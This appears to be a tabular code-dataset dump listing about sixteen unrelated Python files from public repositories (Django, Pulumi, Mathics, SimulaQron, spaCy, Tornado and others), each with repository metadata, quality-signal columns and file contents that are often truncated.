hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b929f6bebabcb952a00e0abbe98f49b3fe7bc7ba | 121 | py | Python | tests/urls.py | avigmati/djcat | 3776f88108104d74700ebd834e7bbe2feeaa21e2 | [
"BSD-3-Clause"
] | 1 | 2017-02-03T14:36:18.000Z | 2017-02-03T14:36:18.000Z | tests/urls.py | avigmati/djcat | 3776f88108104d74700ebd834e7bbe2feeaa21e2 | [
"BSD-3-Clause"
] | null | null | null | tests/urls.py | avigmati/djcat | 3776f88108104d74700ebd834e7bbe2feeaa21e2 | [
"BSD-3-Clause"
] | null | null | null | from django.conf.urls import url, include
urlpatterns = [
url(r'', include('catalog.urls', namespace='catalog')),
] | 20.166667 | 59 | 0.68595 | 15 | 121 | 5.533333 | 0.733333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.140496 | 121 | 6 | 60 | 20.166667 | 0.798077 | 0 | 0 | 0 | 0 | 0 | 0.155738 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b92f089b9301e083dd6e1b1a324e8e05c6ece7f6 | 260 | py | Python | exec.27.py | Domingosws/Aprendendo.PYTHON.3 | f525e4324ab3fe33107b9c8cbea2deb61736d151 | [
"MIT"
] | 1 | 2022-02-01T04:22:56.000Z | 2022-02-01T04:22:56.000Z | exec.27.py | Domingosws/Aprendendo.PYTHON.3 | f525e4324ab3fe33107b9c8cbea2deb61736d151 | [
"MIT"
] | null | null | null | exec.27.py | Domingosws/Aprendendo.PYTHON.3 | f525e4324ab3fe33107b9c8cbea2deb61736d151 | [
"MIT"
] | null | null | null | #Codições como utilizar estruturas condicionais simplese compostas nos seus programas.
#se -> if ->senão -> else
#condição simples
nome=str(input('Qual é seu nome?'))
if nome=='Domingos':
print('Que nome lindo vc tem!')
print('Bua noite, {}'.format(nome))
| 32.5 | 86 | 0.715385 | 37 | 260 | 5.027027 | 0.837838 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.138462 | 260 | 7 | 87 | 37.142857 | 0.830357 | 0.480769 | 0 | 0 | 0 | 0 | 0.44697 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
b9363e4ef86ea5e561c394f20c77d40feffc2136 | 615 | py | Python | toontown/coghq/LawbotOfficeExterior.py | LittleNed/toontown-stride | 1252a8f9a8816c1810106006d09c8bdfe6ad1e57 | [
"Apache-2.0"
] | 3 | 2020-01-02T08:43:36.000Z | 2020-07-05T08:59:02.000Z | toontown/coghq/LawbotOfficeExterior.py | NoraTT/Historical-Commits-Project-Altis-Source | fe88e6d07edf418f7de6ad5b3d9ecb3d0d285179 | [
"Apache-2.0"
] | null | null | null | toontown/coghq/LawbotOfficeExterior.py | NoraTT/Historical-Commits-Project-Altis-Source | fe88e6d07edf418f7de6ad5b3d9ecb3d0d285179 | [
"Apache-2.0"
] | 4 | 2019-06-20T23:45:23.000Z | 2020-10-14T20:30:15.000Z | from direct.directnotify import DirectNotifyGlobal
from direct.fsm import ClassicFSM
from direct.fsm import State
from toontown.toonbase import ToontownGlobals
from toontown.building import Elevator
from pandac.PandaModules import *
from toontown.coghq import FactoryExterior
class LawbotOfficeExterior(FactoryExterior.... | 38.4375 | 80 | 0.814634 | 60 | 615 | 8.35 | 0.516667 | 0.05988 | 0.051896 | 0.075848 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003711 | 0.123577 | 615 | 15 | 81 | 41 | 0.925789 | 0 | 0 | 0 | 0 | 0 | 0.053659 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.538462 | 0 | 0.769231 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
b93c42d353f3711f512fa21979e6c14551cdecf0 | 207 | py | Python | working/bin/forms/__init__.py | grinchios/college_project-commented | 3cc5ccd6c1b946b625e1dcc0689c9273f6ba2178 | [
"MIT"
] | null | null | null | working/bin/forms/__init__.py | grinchios/college_project-commented | 3cc5ccd6c1b946b625e1dcc0689c9273f6ba2178 | [
"MIT"
] | null | null | null | working/bin/forms/__init__.py | grinchios/college_project-commented | 3cc5ccd6c1b946b625e1dcc0689c9273f6ba2178 | [
"MIT"
] | null | null | null | __all__ = ['appointmentForm',
'chartForm',
'customerForm',
'mainMenu',
'managerMenu',
'staffForm',
'stockForm',
'treatmentsForm']
| 23 | 29 | 0.454106 | 9 | 207 | 10 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.42029 | 207 | 8 | 30 | 25.875 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0.42029 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b94350afa9cab5516e1c24c37546cf07e81b79e8 | 31,594 | py | Python | tests/data/generator/t_protocol_no_ct/serialization.py | devjsc/agents-aea | 872f7b76cbcd33b6c809905c68681790bb93ff2f | [
"Apache-2.0"
] | null | null | null | tests/data/generator/t_protocol_no_ct/serialization.py | devjsc/agents-aea | 872f7b76cbcd33b6c809905c68681790bb93ff2f | [
"Apache-2.0"
] | null | null | null | tests/data/generator/t_protocol_no_ct/serialization.py | devjsc/agents-aea | 872f7b76cbcd33b6c809905c68681790bb93ff2f | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# ------------------------------------------------------------------------------
#
# Copyright 2021 fetchai
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#... | 57.235507 | 127 | 0.688833 | 3,982 | 31,594 | 4.836765 | 0.036665 | 0.131464 | 0.078972 | 0.064798 | 0.837695 | 0.759917 | 0.660903 | 0.553894 | 0.477259 | 0.359657 | 0 | 0.009941 | 0.258119 | 31,594 | 551 | 128 | 57.339383 | 0.811767 | 0.036684 | 0 | 0.182178 | 0 | 0 | 0.050953 | 0.026977 | 0 | 0 | 0 | 0 | 0 | 1 | 0.00396 | false | 0.00198 | 0.011881 | 0 | 0.021782 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b9471b63136ada3f2540b5b2959612f88caf1134 | 202 | py | Python | app/controller/__init__.py | Taycode/ethereum-block-finder | fc87eefeeb45b77419de7e01ababf92cea4c4a62 | [
"MIT"
] | null | null | null | app/controller/__init__.py | Taycode/ethereum-block-finder | fc87eefeeb45b77419de7e01ababf92cea4c4a62 | [
"MIT"
] | null | null | null | app/controller/__init__.py | Taycode/ethereum-block-finder | fc87eefeeb45b77419de7e01ababf92cea4c4a62 | [
"MIT"
] | null | null | null | """Controllers"""
from flask_restx import Api
from .block import api as block_api
api = Api(title='ETH Finder App', description='Find ETH Blocks', doc='/docs/')
api.add_namespace(block_api, '/block')
| 25.25 | 78 | 0.732673 | 31 | 202 | 4.645161 | 0.612903 | 0.125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118812 | 202 | 7 | 79 | 28.857143 | 0.808989 | 0.054455 | 0 | 0 | 0 | 0 | 0.221622 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
b95c742f8ad48c9c43b3582fbdc8cb1c5640fbdb | 1,734 | py | Python | users/api/views/mturk.py | heolin123/funcrowd | 20167783de208394c09ed0429a5f02ec6dd79c42 | [
"MIT"
] | null | null | null | users/api/views/mturk.py | heolin123/funcrowd | 20167783de208394c09ed0429a5f02ec6dd79c42 | [
"MIT"
] | 11 | 2019-11-12T23:26:45.000Z | 2021-06-10T17:37:23.000Z | users/api/views/mturk.py | heolin123/funcrowd | 20167783de208394c09ed0429a5f02ec6dd79c42 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from rest_framework.generics import GenericAPIView
from rest_framework.response import Response
from rest_framework.exceptions import ValidationError
from rest_framework.permissions import AllowAny
from rest_framework import status
from django.contrib.aut... | 37.695652 | 79 | 0.714533 | 189 | 1,734 | 6.338624 | 0.407407 | 0.053422 | 0.070952 | 0.041736 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005132 | 0.213379 | 1,734 | 45 | 80 | 38.533333 | 0.873167 | 0.012111 | 0 | 0 | 0 | 0 | 0.022209 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027778 | false | 0.055556 | 0.305556 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
b9748322313de75ce38b045bb57fbaf7751c55b1 | 30,102 | py | Python | sdk/python/pulumi_aws/rds/instance.py | pulumi-bot/pulumi-aws | 756c60135851e015232043c8206567101b8ebd85 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/rds/instance.py | pulumi-bot/pulumi-aws | 756c60135851e015232043c8206567101b8ebd85 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/rds/instance.py | pulumi-bot/pulumi-aws | 756c60135851e015232043c8206567101b8ebd85 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import pulumi
import pulumi.runtime
class Instance(pulumi.CustomResource):
"""
Provides an RDS instance resource. A DB instan... | 50.003322 | 1,017 | 0.679158 | 3,549 | 30,102 | 5.496196 | 0.140885 | 0.01538 | 0.025633 | 0.064596 | 0.257357 | 0.137804 | 0.101097 | 0.0668 | 0.052907 | 0.039065 | 0 | 0.004063 | 0.247791 | 30,102 | 601 | 1,018 | 50.086522 | 0.857395 | 0.041725 | 0 | 0 | 1 | 0 | 0.231245 | 0.037025 | 0 | 0 | 0 | 0 | 0 | 1 | 0.00678 | false | 0.023729 | 0.030508 | 0 | 0.040678 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b982a3639ed4c5475dc08453a0c938e7295c6faa | 2,728 | py | Python | tools/thermo/fate_parfor.py | vishaltiwari/XNet | a7ad8d9a610edb1d522fef56b8ed1067fb39f30f | [
"BSD-3-Clause"
] | 2 | 2019-03-05T22:56:32.000Z | 2020-11-11T15:54:47.000Z | tools/thermo/fate_parfor.py | vishaltiwari/XNet | a7ad8d9a610edb1d522fef56b8ed1067fb39f30f | [
"BSD-3-Clause"
] | 2 | 2019-10-07T16:31:55.000Z | 2022-02-14T16:50:27.000Z | tools/thermo/fate_parfor.py | vishaltiwari/XNet | a7ad8d9a610edb1d522fef56b8ed1067fb39f30f | [
"BSD-3-Clause"
] | 2 | 2019-06-20T20:36:56.000Z | 2019-07-28T18:17:55.000Z | import numpy as np
from scipy import interpolate
def fate_parfor(plist,fate_fname_base,time_interp):
radius = np.zeros((len(time_interp),len(plist)))
theta = np.zeros((len(time_interp),len(plist)))
v_rad = np.zeros((len(time_interp),len(plist)))
v_theta = np.zeros((len(time_interp... | 40.117647 | 124 | 0.509897 | 364 | 2,728 | 3.521978 | 0.228022 | 0.070203 | 0.117005 | 0.163807 | 0.322933 | 0.322933 | 0.322933 | 0.170047 | 0 | 0 | 0 | 0.016575 | 0.33651 | 2,728 | 68 | 125 | 40.117647 | 0.691713 | 0.017229 | 0 | 0 | 0 | 0 | 0.006886 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.037736 | null | null | 0.018868 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b98dcd673a9da102d7d5cd924abee7fa12195d16 | 140 | py | Python | gn_testing/model/config/core.py | g-nightingale/tox_examples | d7714375c764580b4b8af9db61332ced4e851def | [
"BSD-3-Clause"
] | null | null | null | gn_testing/model/config/core.py | g-nightingale/tox_examples | d7714375c764580b4b8af9db61332ced4e851def | [
"BSD-3-Clause"
] | null | null | null | gn_testing/model/config/core.py | g-nightingale/tox_examples | d7714375c764580b4b8af9db61332ced4e851def | [
"BSD-3-Clause"
] | null | null | null | from pathlib import Path
# Project Directories
MODULE_ROOT = Path(__file__).resolve().parent
ROOT = MODULE_ROOT.parent.parent
print(ROOT)
| 17.5 | 45 | 0.792857 | 19 | 140 | 5.526316 | 0.631579 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 140 | 7 | 46 | 20 | 0.846774 | 0.135714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b9bdd44c6fa79954a934976527df32bc6bff7af4 | 220 | py | Python | webservice/status_codes.py | willbackslash/django-multi-pos | 6bef1546fbaf4c5c3fa57e91c2da82f2dd9ca9a4 | [
"MIT"
] | null | null | null | webservice/status_codes.py | willbackslash/django-multi-pos | 6bef1546fbaf4c5c3fa57e91c2da82f2dd9ca9a4 | [
"MIT"
] | null | null | null | webservice/status_codes.py | willbackslash/django-multi-pos | 6bef1546fbaf4c5c3fa57e91c2da82f2dd9ca9a4 | [
"MIT"
] | null | null | null | from usecases.utils.responses import ResponseTypes
STATUS_CODES = {
ResponseTypes.SUCCESS: 200,
ResponseTypes.RESOURCE_ERROR: 404,
ResponseTypes.PARAMETERS_ERROR: 400,
ResponseTypes.SYSTEM_ERROR: 500,
}
| 24.444444 | 50 | 0.772727 | 23 | 220 | 7.217391 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.064171 | 0.15 | 220 | 8 | 51 | 27.5 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b9c493da6370eddb4197a66b4c6db684aadba3d1 | 1,680 | py | Python | modelo2.py | tavorestrepo98/ProyectoIA | 6678b2096a70d46678799e28cd10990e8c91e527 | [
"MIT"
] | null | null | null | modelo2.py | tavorestrepo98/ProyectoIA | 6678b2096a70d46678799e28cd10990e8c91e527 | [
"MIT"
] | null | null | null | modelo2.py | tavorestrepo98/ProyectoIA | 6678b2096a70d46678799e28cd10990e8c91e527 | [
"MIT"
] | null | null | null | import spacy
from spacy.pipeline import EntityRuler
nlp = spacy.load('es_core_news_sm')
ruler = EntityRuler(nlp)
patterns = [{"label": "cual", "pattern": "cuál"},
{"label": "cual", "pattern": "cual"},
{"label": "cual", "pattern": [{"lower": "cuál"}, {"lower": "es"}]},
{"label": "c... | 45.405405 | 82 | 0.501786 | 160 | 1,680 | 5.23125 | 0.33125 | 0.150538 | 0.267622 | 0.200717 | 0.408602 | 0.32736 | 0.125448 | 0.125448 | 0.125448 | 0.125448 | 0 | 0 | 0.239881 | 1,680 | 37 | 83 | 45.405405 | 0.655442 | 0.044643 | 0 | 0 | 0 | 0 | 0.347257 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03125 | false | 0 | 0.0625 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b9c525cc0b72f66cf6a43cb1c6def6b9e33a2b51 | 31,529 | py | Python | mathics/core/atoms.py | rebcabin/mathics-core | 0cbf808fb9fb91e0a32d0aa9d1af1477d0258f41 | [
"Apache-2.0"
] | null | null | null | mathics/core/atoms.py | rebcabin/mathics-core | 0cbf808fb9fb91e0a32d0aa9d1af1477d0258f41 | [
"Apache-2.0"
] | null | null | null | mathics/core/atoms.py | rebcabin/mathics-core | 0cbf808fb9fb91e0a32d0aa9d1af1477d0258f41 | [
"Apache-2.0"
] | null | null | null | # cython: language_level=3
# -*- coding: utf-8 -*-
import sympy
import mpmath
import math
import re
import typing
from typing import Any, Optional
from functools import lru_cache
from mathics.core.formatter import encode_mathml, encode_tex, extra_operators
from mathics.core.symbols import (
Atom,
BaseExpress... | 30.433398 | 88 | 0.583939 | 3,720 | 31,529 | 4.782796 | 0.110753 | 0.047549 | 0.026304 | 0.01214 | 0.51141 | 0.46386 | 0.407037 | 0.353923 | 0.302552 | 0.265681 | 0 | 0.008871 | 0.299217 | 31,529 | 1,035 | 89 | 30.462802 | 0.796379 | 0.069523 | 0 | 0.422164 | 0 | 0 | 0.057774 | 0.000753 | 0 | 0 | 0 | 0.001932 | 0.002639 | 1 | 0.197889 | false | 0 | 0.029024 | 0.114776 | 0.53562 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
b9ca5c0311f3b89d5971a42cc0e6c4ed541b8bfc | 658 | py | Python | heuristics/conditions/condition.py | TeamJumpstart/InformatiCup2021 | a4d07992f772d3a1e9ef715fa8e9ce2234cd47a4 | [
"MIT"
] | 10 | 2021-04-18T17:54:02.000Z | 2021-07-26T19:58:41.000Z | heuristics/conditions/condition.py | DiddiZ/InformatiCup2021 | a4d07992f772d3a1e9ef715fa8e9ce2234cd47a4 | [
"MIT"
] | 1 | 2021-04-21T15:13:41.000Z | 2021-04-21T15:13:41.000Z | heuristics/conditions/condition.py | DiddiZ/InformatiCup2021 | a4d07992f772d3a1e9ef715fa8e9ce2234cd47a4 | [
"MIT"
] | 1 | 2021-04-20T09:42:50.000Z | 2021-04-20T09:42:50.000Z | from abc import ABC, abstractmethod
class Condition(ABC):
"""Abstract class to represent a board state condition."""
@abstractmethod
def score(self, cells, player, opponents, rounds, deadline):
"""Compute a score value for a given game state.
Args:
cells: binary ndarray of cel... | 32.9 | 97 | 0.635258 | 80 | 658 | 5.225 | 0.6875 | 0.047847 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006508 | 0.299392 | 658 | 19 | 98 | 34.631579 | 0.900217 | 0.6231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.2 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
b9d03fcf48fd1eff613a7fa346ce03b18b9bdfbe | 8,816 | py | Python | simulaqron/settings.py | Doomsk/SimulaQron | 09bd81730e31c7642a0fece8ae7d518820fe57eb | [
"BSD-3-Clause"
] | 69 | 2018-10-14T10:32:34.000Z | 2022-03-08T10:28:15.000Z | simulaqron/settings.py | Doomsk/SimulaQron | 09bd81730e31c7642a0fece8ae7d518820fe57eb | [
"BSD-3-Clause"
] | 121 | 2018-10-03T13:57:44.000Z | 2021-12-17T17:36:39.000Z | simulaqron/settings.py | Doomsk/SimulaQron | 09bd81730e31c7642a0fece8ae7d518820fe57eb | [
"BSD-3-Clause"
] | 43 | 2018-10-10T15:53:28.000Z | 2022-03-31T16:52:55.000Z | #
# Copyright (c) 2017, Stephanie Wehner and Axel Dahlberg
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this lis... | 28.166134 | 117 | 0.660504 | 1,107 | 8,816 | 5.030714 | 0.221319 | 0.057461 | 0.057461 | 0.077572 | 0.44209 | 0.337583 | 0.191417 | 0.085114 | 0.069671 | 0.069671 | 0 | 0.008521 | 0.254537 | 8,816 | 312 | 118 | 28.25641 | 0.838862 | 0.319646 | 0 | 0.452736 | 0 | 0 | 0.048735 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.208955 | false | 0.159204 | 0.019901 | 0.00995 | 0.293532 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
b9daab3c318f6ae6ef0842dd9ab67cba4a695f78 | 8,803 | py | Python | tornado-app-init.py | hulingfeng211/maintscripts | 1c6f255a1fac488e081055f46eef27f6c81e07f2 | [
"MIT"
] | null | null | null | tornado-app-init.py | hulingfeng211/maintscripts | 1c6f255a1fac488e081055f46eef27f6c81e07f2 | [
"MIT"
] | null | null | null | tornado-app-init.py | hulingfeng211/maintscripts | 1c6f255a1fac488e081055f46eef27f6c81e07f2 | [
"MIT"
] | null | null | null | # -*- coding:utf-8 -*-
"""#=====================================================
# Creater:15921315347@163.com
# Create Time:2016-06-21 15:42:11
# Description: tornado project initialize script
# dir list(tree -L 3):
├── common #公共模块目录
│ ├── __init__.py
├── config.py #站点配置
├── handler #handler目录
